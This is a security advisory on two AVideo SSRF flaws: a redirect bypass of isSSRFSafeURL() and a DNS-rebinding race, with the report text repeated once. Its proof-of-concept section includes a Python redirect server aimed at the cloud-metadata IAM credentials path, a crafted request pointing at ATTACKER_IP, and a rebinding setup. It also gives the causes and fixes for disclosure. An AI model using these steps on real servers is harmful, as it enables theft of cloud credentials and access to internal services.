Summary
Two endpoints in AVideo call isSSRFSafeURL() to validate user-supplied URLs, then fetch them using bare file_get_contents() without disabling PHP's automatic redirect following. An attacker can supply a URL pointing to a server they control that returns a 302 redirect to an internal/cloud-metadata address (e.g., http://169.254.169.254/latest/meta-data/). Since isSSRFSafeURL() only validates the initial URL, the redirect target bypasses all SSRF protections.
A secondary finding is that 6+ callers of isSSRFSafeURL() discard the $resolvedIP out-parameter meant for DNS pinning, leaving them vulnerable to DNS rebinding TOCTOU attacks.
Severity: High — CVSS 3.1: 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
Details
Finding 1: Redirect-Based SSRF Bypass
Vulnerable code — plugin/AI/receiveAsync.json.php (line ~162–165):
// SSRF Protection: Validate URL before fetching
if (!isSSRFSafeURL($imageUrl)) {
// blocked
} else {
$imageContent = file_get_contents($imageUrl); // ← FOLLOWS REDIRECTS!
}
Vulnerable code — objects/EpgParser.php (line ~358–362):
if (!isSSRFSafeURL($this->url)) {
throw new \RuntimeException('URL blocked by SSRF protection');
}
$this->content = @file_get_contents($this->url); // ← FOLLOWS REDIRECTS!
Safe code for comparison — objects/functions.php, url_get_contents():
$opts = ['http' => ['follow_location' => 0]]; // Disable auto-redirect
$context = stream_context_create($opts);
for ($redirectCount = 0; $redirectCount <= 5; $redirectCount++) {
$fetched = file_get_contents($currentUrl, false, $context);
// ... parse Location header ...
if ($redirectTarget) {
if (!isSSRFSafeURL($redirectTarget)) { // Re-validates EACH hop
return false;
}
$currentUrl = $redirectTarget;
continue;
}
$tmp = $fetched;
break;
}
Root cause: The SSRF redirect protection (follow_location=0 + manual redirect loop with per-hop isSSRFSafeURL() re-validation) was correctly implemented in url_get_contents() but NOT propagated to these two endpoints that call file_get_contents() directly. PHP's default follow_location is 1 (follow redirects).
Finding 2: DNS Rebinding TOCTOU (Multiple Callers)
isSSRFSafeURL() provides a $resolvedIP out-parameter for DNS pinning via CURLOPT_RESOLVE. Only 1 of 9 callers (plugin/LiveLinks/proxy.php) uses it. The remaining 8 callers discard it and pass the original hostname to the fetching function, which resolves DNS independently — creating a TOCTOU race window exploitable via DNS rebinding (TTL=0).
Affected callers (no DNS pinning):
objects/aVideoEncoderReceiveImage.json.php — 4 call sites
objects/aVideoEncoder.json.php — 1 call site
plugin/BulkEmbed/save.json.php — 1 call site
plugin/AI/receiveAsync.json.php — 1 call site
objects/EpgParser.php — 1 call site
plugin/Scheduler/Scheduler.php — 1 call site
PoC
Redirect Bypass PoC
- Attacker runs an HTTP server that returns a 302 redirect:
from http.server import HTTPServer, BaseHTTPRequestHandler
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header("Location", "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
self.end_headers()
HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()
- Attacker triggers AI image generation and intercepts the callback:
POST /plugin/AI/receiveAsync.json.php
Content-Type: application/x-www-form-urlencoded
type=image&token=VALID_TOKEN&ai_responses_id=ID&response[data][0][url]=http://ATTACKER_IP:8888/redir
isSSRFSafeURL("http://ATTACKER_IP:8888/redir") resolves attacker IP → public → passes
file_get_contents("http://ATTACKER_IP:8888/redir") follows 302 to http://169.254.169.254/... — no SSRF re-check occurs
- Cloud metadata (including IAM credentials) is saved as a video thumbnail, retrievable by the attacker
Control test: Replace the redirect target with a legitimate public URL — isSSRFSafeURL() passes and the content is fetched normally, confirming the function works for non-malicious URLs.
DNS Rebinding PoC
- Configure a domain with TTL=0 DNS that alternates:
- First query: public IP (passes
isSSRFSafeURL)
- Second query:
127.0.0.1 (reaches internal services)
- Submit
http://rebind.attacker.com/image.jpg to any affected endpoint
isSSRFSafeURL() resolves → public IP → passes (discards $resolvedIP)
url_get_contents() / file_get_contents() resolves again → 127.0.0.1 → SSRF achieved
Impact
An authenticated attacker can force the AVideo server to make HTTP requests to arbitrary internal hosts, including:
- Cloud metadata endpoints (169.254.169.254) — exfiltrate IAM credentials, instance identity
- Internal services on localhost or private network (databases, admin panels, monitoring)
- Port scanning of the internal network using the server as a proxy
The exfiltrated data is stored as video thumbnails/images, making it retrievable through the application's public interface.
Suggested Fix
Fix 1 (Redirect bypass — immediate): Route both affected files through url_get_contents() which already handles redirects safely, or add explicit no-redirect context:
$ctx = stream_context_create(['http' => ['follow_location' => 0]]);
$imageContent = file_get_contents($imageUrl, false, $ctx);
Fix 2 (DNS rebinding — defense-in-depth): Update all callers to capture $resolvedIP and pass it to a DNS-pinning-aware fetch function using CURLOPT_RESOLVE.
Credit
Kai Aizen kai.aizen.dev@gmail.com
References
Summary
Two endpoints in AVideo call
isSSRFSafeURL()to validate user-supplied URLs, then fetch them using barefile_get_contents()without disabling PHP's automatic redirect following. An attacker can supply a URL pointing to a server they control that returns a 302 redirect to an internal/cloud-metadata address (e.g.,http://169.254.169.254/latest/meta-data/). SinceisSSRFSafeURL()only validates the initial URL, the redirect target bypasses all SSRF protections.A secondary finding is that 6+ callers of
isSSRFSafeURL()discard the$resolvedIPout-parameter meant for DNS pinning, leaving them vulnerable to DNS rebinding TOCTOU attacks.Severity: High — CVSS 3.1: 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
Details
Finding 1: Redirect-Based SSRF Bypass
Vulnerable code —
plugin/AI/receiveAsync.json.php(line ~162–165):Vulnerable code —
objects/EpgParser.php(line ~358–362):Safe code for comparison —
objects/functions.php,url_get_contents():Root cause: The SSRF redirect protection (
follow_location=0+ manual redirect loop with per-hopisSSRFSafeURL()re-validation) was correctly implemented inurl_get_contents()but NOT propagated to these two endpoints that callfile_get_contents()directly. PHP's defaultfollow_locationis1(follow redirects).Finding 2: DNS Rebinding TOCTOU (Multiple Callers)
isSSRFSafeURL()provides a$resolvedIPout-parameter for DNS pinning viaCURLOPT_RESOLVE. Only 1 of 9 callers (plugin/LiveLinks/proxy.php) uses it. The remaining 8 callers discard it and pass the original hostname to the fetching function, which resolves DNS independently — creating a TOCTOU race window exploitable via DNS rebinding (TTL=0).Affected callers (no DNS pinning):
objects/aVideoEncoderReceiveImage.json.php— 4 call sitesobjects/aVideoEncoder.json.php— 1 call siteplugin/BulkEmbed/save.json.php— 1 call siteplugin/AI/receiveAsync.json.php— 1 call siteobjects/EpgParser.php— 1 call siteplugin/Scheduler/Scheduler.php— 1 call sitePoC
Redirect Bypass PoC
isSSRFSafeURL("http://ATTACKER_IP:8888/redir")resolves attacker IP → public → passesfile_get_contents("http://ATTACKER_IP:8888/redir")follows 302 tohttp://169.254.169.254/...— no SSRF re-check occursControl test: Replace the redirect target with a legitimate public URL —
isSSRFSafeURL()passes and the content is fetched normally, confirming the function works for non-malicious URLs.DNS Rebinding PoC
isSSRFSafeURL)127.0.0.1(reaches internal services)http://rebind.attacker.com/image.jpgto any affected endpointisSSRFSafeURL()resolves → public IP → passes (discards$resolvedIP)url_get_contents()/file_get_contents()resolves again →127.0.0.1→ SSRF achievedImpact
An authenticated attacker can force the AVideo server to make HTTP requests to arbitrary internal hosts, including:
The exfiltrated data is stored as video thumbnails/images, making it retrievable through the application's public interface.
Suggested Fix
Fix 1 (Redirect bypass — immediate): Route both affected files through
url_get_contents()which already handles redirects safely, or add explicit no-redirect context:Fix 2 (DNS rebinding — defense-in-depth): Update all callers to capture
$resolvedIPand pass it to a DNS-pinning-aware fetch function usingCURLOPT_RESOLVE.Credit
Kai Aizen kai.aizen.dev@gmail.com
References